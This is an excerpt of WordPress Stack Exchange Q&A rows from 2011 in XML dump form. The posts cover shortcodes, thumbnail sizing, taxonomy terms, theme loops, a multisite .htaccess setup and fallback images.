  <row Id="13926" PostTypeId="2" ParentId="13925" CreationDate="2011-04-04T20:45:23.517" Score="0" ViewCount="" Body="&lt;p&gt;You can use conditional tags and do_shortcode.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example for a single page with an ID of 12. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if is_single(12){&#xA;do_shortcode('[shortcode]');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If instead you wrote this shortcode yourself, you can create a function to give it a display parameter, like &lt;code&gt;[shortcode('page=5, 6, 7', 'category', 'exclude=posts', 'whatever')]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-04T20:45:23.517" CommentCount="2" />
  <row Id="13927" PostTypeId="1" AcceptedAnswerId="13945" CreationDate="2011-04-04T21:00:59.413" Score="0" ViewCount="143" Body="&lt;p&gt;I've asked a similar question before: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9909/how-to-create-thumbnails-with-a-fixed-width-so-all-of-them-will-have-the-same-wi&quot;&gt;How to create thumbnails with a fixed width, so all of them will have the same width?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... this one is related, but different. Please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now: if you insert an image in a post as a thumbnail by the media-library, you can choose between 4 different sizes: thumbnail, medium, big and actual size. This is fine. However: the dimensions of the thumbnail are determined by whether the image is landscape or portrait. You can set a maximum width or height in your media-settings. Maximum 300 width and maximum 300 height, for instance, will make a landscape image 300px width and a portrait image 300px height. So it won't be &lt;strong&gt;always&lt;/strong&gt; 300px wide. Only if it's a landscape image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me, if I'm mistaken, but this is what I've encountered so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point: my client used to work with movable type, but decided to switch to wp. In mt, however, you could set a maximum width of a thumbnail, so that a thumbnail would be &lt;strong&gt;always&lt;/strong&gt; this width, regardless of it being portrait or landscape. He wanted to have all of his thumbnails the same width, regardless of its orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not compatible with the way wp works, since the width will depend on the image's orientation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: how to make wp work like my client wants (ie: to set all the thumbnails the same width, whether landscape or portrait)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, the question is very similar to the one I referred to in the beginning, but that one was concerned with post-thumbnails which would be always the same size and this fixed width could be set within templates. In this case this is different: images are inserted in posts and the media-library determines the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I made myself clear. If I have: anyone has a solution? Be it a plugin (haven't found one yet) or a hack. If I haven't: shoot me and I'll try to clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx!&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-04-05T03:43:15.633" Title="media-library: how to insert thumbnails with a fixed width, regardless of landscape/portrait orientation" Tags="&lt;post-thumbnails&gt;&lt;media-library&gt;&lt;maximized-width&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13928" PostTypeId="1" AcceptedAnswerId="14051" CreationDate="2011-04-04T21:03:14.783" Score="0" ViewCount="121" Body="&lt;p&gt;Ok, maybe it a far fetch question, and a question about depersonalisation of something into something else, but let try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One on my client want a easy file bin for his client to go get the public HR file for publicity. The main company have the HR pdf and some newspaper or local advertising need it. Instead of sending those file by email, CD or free FTP like &quot;senduit.com&quot; a site will be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bunch of folder, with a bunch of file. Let say&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Winter 2010 AD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;french ad 8.5 x 11&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;english ad 8.5 x 11&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summer 2011 AD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;french poster&lt;/li&gt;&#xA;&lt;li&gt;English poster&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and so on, understand the concept ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what will be the best plugin set or system for that... wordpress seem fit to that, but it's sont OUT OF THE BOX as this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system should be secure, but's that just adding a password page.. that simple...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will be your solution ?&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-06T07:15:54.277" Title="FTP file manager AS wordpress site" Tags="&lt;ftp&gt;&lt;filesystem&gt;&lt;file-manager&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13929" PostTypeId="2" ParentId="13925" CreationDate="2011-04-04T21:45:05.433" Score="0" ViewCount="" Body="&lt;p&gt;You could do it based on a custom field, for example create a custom field named &lt;code&gt;sc_no_show&lt;/code&gt; and give it the value of true.&#xA;then in your shortcode function do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function what_ever(){&#xA;    global $post;&#xA;    $no_show = get_post_meta($post-&amp;gt;ID,'sc_no_show',true);&#xA;    if ($no_show)&#xA;        return '';&#xA;    //add your normal shortcode stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now on every page or post you have a custom fields named &lt;code&gt;sc_no_show&lt;/code&gt; with the value of &lt;code&gt;true&lt;/code&gt; it wont show/&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T21:45:05.433" />
  <row Id="13930" PostTypeId="1" CreationDate="2011-04-04T21:57:16.010" Score="0" ViewCount="38" Body="&lt;p&gt;On the www.valendesigns.com website I like the JavaScript (I think that's what it is) near the top of the page where when you click on one of the three images, it rotates to the front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is a plug-in?  If so do you know where I can get it?  If it is not a plug-in, does anyone know where I can learn how to do this?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4439" LastActivityDate="2011-04-05T04:13:40.320" Title="Is this a plug-in in wordpress  or a custom JavaScript" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="13932" PostTypeId="2" ParentId="13930" CreationDate="2011-04-04T22:44:51.030" Score="1" ViewCount="" Body="&lt;p&gt;From the look of the site's source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Scripts --&amp;gt; &#xA;&amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script src=&quot;http://valendesigns.com/wp-content/themes/valen/js/application.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&#xA;[...later in the source...]&#xA;&#xA;&amp;lt;div id=&quot;panel&quot;&amp;gt; &#xA;            &amp;lt;img src=&quot;http://valendesigns.com/wp-content/themes/valen/images/panel/left_slide.png&quot; id=&quot;left_slide&quot; alt=&quot;&quot; /&amp;gt; &#xA;      &amp;lt;img src=&quot;http://valendesigns.com/wp-content/themes/valen/images/panel/center_slide.png&quot; id=&quot;center_slide&quot; alt=&quot;&quot; /&amp;gt; &#xA;      &amp;lt;img src=&quot;http://valendesigns.com/wp-content/themes/valen/images/panel/right_slide.png&quot; id=&quot;right_slide&quot; alt=&quot;&quot; /&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;        &amp;lt;span class=&quot;get_quote&quot;&amp;gt;&amp;lt;a href=&quot;http://valendesigns.com/contact&quot;&amp;gt;Get a Quote&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt; &#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would say that it is either running from the jQuery that was imported in the header of the page, or  a custom-built slider within the theme. These built-in sliders are quite popular now.&lt;/p&gt;&#xA;" OwnerUserId="4441" LastEditorUserId="4441" LastEditorDisplayName="" LastEditDate="2011-04-05T04:13:40.320" LastActivityDate="2011-04-05T04:13:40.320" CommentCount="2" />
  <row Id="13933" PostTypeId="1" CreationDate="2011-04-04T23:03:51.980" Score="0" ViewCount="156" Body="&lt;p&gt;On my WordPress site I have a menu set up for &quot;lease&quot; &amp;amp; &quot;consignment&quot;. The problem I'm having now is the count is for both lease and consignment, not just one of them. If you &lt;a href=&quot;http://bergencountyautos.com/?manufacturer=bmw&amp;amp;usedorlease=lease&quot; rel=&quot;nofollow&quot;&gt;look at my site&lt;/a&gt;, you see that on the side bar it shows &lt;em&gt;BMW (2)&lt;/em&gt;, but in the actual BMW lease listing there is only one that goes for consignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The count shows a value of 2 for both types. I'm trying to get each menu to show the true value of either lease or consignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code im using now to display it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$sql =&quot;SELECT p.* FROM $wpdb-&amp;gt;posts p, $wpdb-&amp;gt;postmeta p1&#xA;        WHERE p.ID = p1.post_id AND p.post_type = 'listing' AND p1.meta_key='price_value' = ''&quot;;&#xA;$resultarray = $wpdb-&amp;gt;get_results($sql);&#xA;//echo count($resultarray);&#xA;&#xA;$usedorlease = trim($_GET['usedorlease']); &#xA;&#xA;if ($usedorlease == &quot;lease&quot;) {&#xA;    $append = &quot;&amp;amp;usedorlease=lease&quot;;&#xA;} elseif ($usedorlease == &quot;consignment&quot;) {&#xA;    $append = &quot;&amp;amp;usedorlease=consignment&quot;;&#xA;} else {&#xA;&#xA;}&#xA;&#xA;$thelist = get_terms( 'manufacturer', 'hide_empty=0' );&#xA;echo &quot;&amp;lt;div id='menu'&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;foreach ($thelist as $term) {&#xA;    $theurl = get_term_link($term, 'manufacturer');&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='&quot; . $theurl . $append .&quot;'&amp;gt;&quot;.$term-&amp;gt;name.&quot; (&quot; . $term-&amp;gt;count  . &quot;)&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4442" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-06T09:22:02.657" LastActivityDate="2011-04-06T09:22:02.657" Title="Filtered post count for taxonomy terms?" Tags="&lt;custom-taxonomy&gt;" CommentCount="1" />
  <row Id="13934" PostTypeId="2" ParentId="13930" CreationDate="2011-04-04T23:14:50.427" Score="1" ViewCount="" Body="&lt;h3&gt;The Panel Slider is custom javascript by the developer of the site.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The javascript is output in the footer of the source and I also found it on &lt;strong&gt;&lt;a href=&quot;http://snipplr.com/view/14169/panel-silder-con-jquery/&quot; rel=&quot;nofollow&quot;&gt;Snipplr&lt;/a&gt;&lt;/strong&gt; but couldn't find any license information except the copyright on the Valen site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to get permission from the &lt;strong&gt;&lt;a href=&quot;http://valendesigns.com/about/&quot; rel=&quot;nofollow&quot;&gt;author&lt;/a&gt;&lt;/strong&gt; to use it.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-04T23:14:50.427" />
  <row Id="13935" PostTypeId="1" CreationDate="2011-04-05T00:07:31.007" Score="0" ViewCount="129" Body="&lt;p&gt;What I'm trying to do on my homepage is to pull the latest post from each of 6 categories but then I need the variable $counter to increase (+1) for each post so that I can style them properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to display the latest post from each category in the right order, but by doing that I can't get $counter to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated - thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col1&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;             if (get_option('woo_show_carousel') == 'true' AND !is_paged()) { include (TEMPLATEPATH . &quot;/includes/featured.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;        if (is_paged()) $is_paged = true;&#xA;&#xA;        if (get_option('woo_slider_exclude') == &quot;true&quot;) $shownslides = get_option('woo_shown_slides');&#xA;        if(empty($showslides) || get_option('woo_show_carousel') == 'false'){&#xA;            $showslides = array();&#xA;        }  &#xA;&#xA;         $showvideo = get_option('woo_show_video');&#xA;         $vidtags = get_option('woo_video_tags');&#xA;         if(!empty($vidtags)) {&#xA;            $vidtags_array = explode(',',$vidtags);&#xA;         } else {&#xA;             $vidtags_array = array();&#xA;         }&#xA;&#xA;         global $wpdb;&#xA;         foreach ($vidtags_array as $tag_name){&#xA;             $tag_name = trim($tag_name);&#xA;             $tagid = $wpdb-&amp;gt;get_var(&quot;SELECT term_ID FROM $wpdb-&amp;gt;terms WHERE name='$tag_name'&quot;);&#xA;             $tagids[] = $tagid;  &#xA;         }                &#xA;         $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; &#xA;&#xA;            $taxonomy = 'category';//  e.g. post_tag, category&#xA;    $param_type = 'category__in'; //  e.g. tag__in, category__in&#xA;    $term_args=array(&#xA;         'include' =&amp;gt; '3,4,5,6,11,14',&#xA;         'orderby' =&amp;gt; 'ID',&#xA;         'order' =&amp;gt; 'ASC'&#xA;        );&#xA;            $terms = get_terms($taxonomy,$term_args);&#xA;    if ($terms) {&#xA;    foreach( $terms as $term ) {&#xA;            $args = array(&#xA;                    &quot;$param_type&quot; =&amp;gt; array($term-&amp;gt;term_id),&#xA;            'post_type' =&amp;gt; 'post',&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'posts_per_page' =&amp;gt; 1,&#xA;            'caller_get_posts'=&amp;gt; 1,&#xA;                'post__not_in' =&amp;gt; $shownslides,&#xA;                'tag__not_in' =&amp;gt; $tagids,&#xA;                'paged'=&amp;gt; $paged&#xA;                );&#xA;         query_posts($args);&#xA;&#xA;&#xA;         $home_content = get_option('woo_home_content');&#xA;         $home_boxes = get_option('woo_home_boxes');&#xA;&#xA;         if (have_posts()) : &#xA;&#xA;         $full = FALSE;&#xA;&#xA;         $width = get_option('woo_full_thumb_width');&#xA;         $height = get_option('woo_full_thumb_height');&#xA;&#xA;         if( $home_boxes == 'On') { $small = TRUE; }&#xA;         elseif ($home_boxes == 'Off') { $full = TRUE; } &#xA;         else {  $large_posts = intval($home_boxes); }&#xA;&#xA;         $counter = 0; &#xA;         while (have_posts()) : the_post(); &#xA;            $counter++;&#xA;            $post_class = 'full'; &#xA;            if( ($counter &amp;gt; $large_posts OR $small == TRUE) AND $full ==  FALSE)&#xA;            {&#xA;                $width = get_option('woo_boxed_thumb_width');&#xA;                $height = get_option('woo_boxed_thumb_height');&#xA;                if( $small == FALSE ) $counter = 1;&#xA;                $small = true;&#xA;                    if ($counter%2 == 0 ) { $post_class = 'fr';  } &#xA;                    else { $post_class = 'fl'; }&#xA;            }&#xA;&#xA;         ?&amp;gt; &#xA;        &amp;lt;div class=&quot;post-outer post &amp;lt;?php echo $post_class; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;post-inner post-alt&quot;&amp;gt;       &#xA;&#xA;                &amp;lt;?php woo_get_image('image',$width,$height); ?&amp;gt; &#xA;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a title=&quot;&amp;lt;?php _e('Permalink to ',woothemes); ?&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p class=&quot;category-head cufon&quot;&amp;gt;&amp;lt;?php the_category(', ') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;?php if ($home_content == 'false') { ?&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;?php echo strip_tags(get_the_excerpt(), '&amp;lt;a&amp;gt;&amp;lt;strong&amp;gt;'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;                    &amp;lt;?php the_content(__('Continue Reading',woothemes)); ?&amp;gt;                     &#xA;                &amp;lt;?php } ?&amp;gt;            &#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--/post-inner--&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--/post--&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($counter%2 == 0 AND $small == TRUE ) { echo '&amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php endif; &#xA;        }&#xA;        }&#xA;        wp_reset_query(); &#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;more_entries&quot;&amp;gt;&#xA;            &amp;lt;?php if (function_exists('wp_pagenavi')) wp_pagenavi(); else { ?&amp;gt;&#xA;                &amp;lt;div class=&quot;fl&quot;&amp;gt;&amp;lt;?php previous_posts_link(__('&amp;amp;laquo; Newer Entries ',woothemes)) ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;fr&quot;&amp;gt;&amp;lt;?php next_posts_link(__(' Older Entries &amp;amp;raquo;',woothemes)) ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;br class=&quot;fix&quot; /&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;      &#xA;&#xA;        &amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php &#xA;            if (get_option('woo_show_video') == 'true') { include (TEMPLATEPATH . &quot;/includes/video.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;            if (get_option('woo_show_talking_points') == 'true') { include (TEMPLATEPATH . &quot;/includes/talking-points.php&quot;);}&#xA;        ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/col1--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2011-04-06T15:44:41.343" Title="1 post per category on homepage and counting those posts" Tags="&lt;theme-development&gt;&lt;homepage&gt;&lt;categories&gt;&lt;frontpage&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13936" PostTypeId="1" AcceptedAnswerId="13938" CreationDate="2011-04-05T01:17:11.457" Score="2" ViewCount="213" Body="&lt;p&gt;I'm using the following code to display the term for a specified taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms( &quot;book_review&quot; );&#xA;$category = $terms[0]-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I want to display the term for whatever the currently displayed taxonomy is, rather than specifying a particular taxonomy. Basically what I'm wanting is a way to replicate the functionality of get_the_category, but for the current taxonomy instead of the current category. I'm trying to display this on a single custom post type page (single-custom_post_type_name.php)&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditorDisplayName="" LastEditDate="2011-04-05T13:24:07.587" LastActivityDate="2011-04-05T13:24:07.587" Title="How to get the first term for the current taxonomy?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="13937" PostTypeId="2" ParentId="11743" CreationDate="2011-04-05T01:31:10.750" Score="0" ViewCount="" Body="&lt;p&gt;I figured out how to make it work, but it's a bit hacky. Essentially, I coped the index.php from activity into the the main index.php of my Thematic child theme, adding the Thematic actions afterwards. Same error persists if I leave it on &quot;Activity Stream&quot; for the front page, but when I return it to the default &quot;Most recent posts&quot;, my modified index.php in the root takes over. I'll post my code in a few days if nobody answers my question with how I can get it to work through that option -- I'm building this as a high-end in-house repeated use theme, rather not resort to what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Redid as answer since no response.)&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-04-05T01:31:10.750" />
  <row Id="13938" PostTypeId="2" ParentId="13936" CreationDate="2011-04-05T02:58:52.037" Score="2" ViewCount="" Body="&lt;h3&gt;You can use &lt;code&gt;get_queried_object&lt;/code&gt; to get the term name.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_tax() ) {&#xA;    global $wp_query;&#xA;    $term = $wp_query-&amp;gt;get_queried_object();&#xA;    $title= $term-&amp;gt;name;&#xA;&#xA;}  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To display: &lt;code&gt;&amp;lt;?php echo $title; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your on a taxonomy archive page you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to display the term: &lt;code&gt;&amp;lt;?php echo $term-&amp;gt;name; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;T&lt;a href=&quot;http://codex.wordpress.org/WordPress_Taxonomy&quot; rel=&quot;nofollow&quot;&gt;he following properties are available for the $term object&lt;/a&gt;:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;term_id&lt;/li&gt;&#xA;&lt;li&gt;name&lt;/li&gt;&#xA;&lt;li&gt;slug&lt;/li&gt;&#xA;&lt;li&gt;term_group&lt;/li&gt;&#xA;&lt;li&gt;term_taxonomy_id&lt;/li&gt;&#xA;&lt;li&gt;taxonomy&lt;/li&gt;&#xA;&lt;li&gt;description&lt;/li&gt;&#xA;&lt;li&gt;parent&#xA;-count&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T02:58:52.037" CommentCount="0" />
  <row Id="13939" PostTypeId="2" ParentId="13927" CreationDate="2011-04-05T03:00:27.480" Score="2" ViewCount="" Body="&lt;p&gt;You already asked this question but here are some solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use hard-coded CSS for the width.&lt;br&gt;&#xA;Use TimThumb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a trick and set the height to a huge number like 9999, that way the height will never be used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 300, 9999 ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use hard-cropping by setting the parameter to true.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 300, 300, true ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-05T03:00:27.480" CommentCount="2" />
  <row Id="13940" PostTypeId="2" ParentId="11248" CreationDate="2011-04-05T03:02:35.200" Score="0" ViewCount="" Body="&lt;p&gt;Hopefully the official plugin for Geo Tagging (&lt;a href=&quot;http://wordpress.org/extend/plugins/geolocation/&quot; rel=&quot;nofollow&quot;&gt;Geolocation&lt;/a&gt;) will soon support the features you're after! I've started to update the plugin myself, I've opened up a support post over at the wordpress support forums which you can see here &lt;a href=&quot;http://wordpress.org/support/topic/updates-to-geolocation&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/updates-to-geolocation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code base is rather messy at the moment I will admit, but everything seems to work ok at the moment, so we will see how it goes.&lt;/p&gt;&#xA;" OwnerUserId="1062" LastActivityDate="2011-04-05T03:02:35.200" />
  <row Id="13942" PostTypeId="1" CreationDate="2010-10-04T14:09:49.920" Score="2" ViewCount="347" Body="&lt;p&gt;We have just installed WordPress 3.0.1 and everything worked fine. However, as soon as we started to install the multisite functionality by following this &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;, things started to go wrong. At the end of step 5, the tutorial has you update your wp-config.php file and .htaccess file. Once we made the reccommended changes to these files, uploaded them back to the server and tried to re-log in, none of the pages would serve up anymore. We now get the following error for ALL pages in the blog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error 101 (net::ERR_CONNECTION_RESET): Unknown error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Here are the code changes we made (following the sub-folder setup):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', false );&#xA;$base = '/';&#xA;define( 'DOMAIN_CURRENT_SITE', 'oursite.com' );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htaccces file (in wordpress root directory)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]&#xA;RewriteRule . index.php [L]&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5997" LastActivityDate="2011-08-15T07:24:36.493" Title="Wordpress multisite causing Error 101 (net::ERR_CONNECTION_RESET): Unknown error" Tags="&lt;apache&gt;&lt;php&gt;&lt;mod-rewrite&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13943" PostTypeId="1" CreationDate="2011-04-05T03:25:57.427" Score="0" ViewCount="63" Body="&lt;p&gt;What I would like is to have a sort of fall back photo so I don't get red Xs.. Something like &quot;photo unavailable please come back later&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check if the image path is valid and if not display another photo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I really only need the &quot;link is valid&quot; bit.. I can figure the rest out)&lt;/p&gt;&#xA;" OwnerUserId="4406" LastActivityDate="2011-04-05T07:43:21.860" Title="Always display a picture even if the link is broken?" Tags="&lt;image&gt;&lt;validation&gt;" AnswerCount="1" CommentCount="2" />
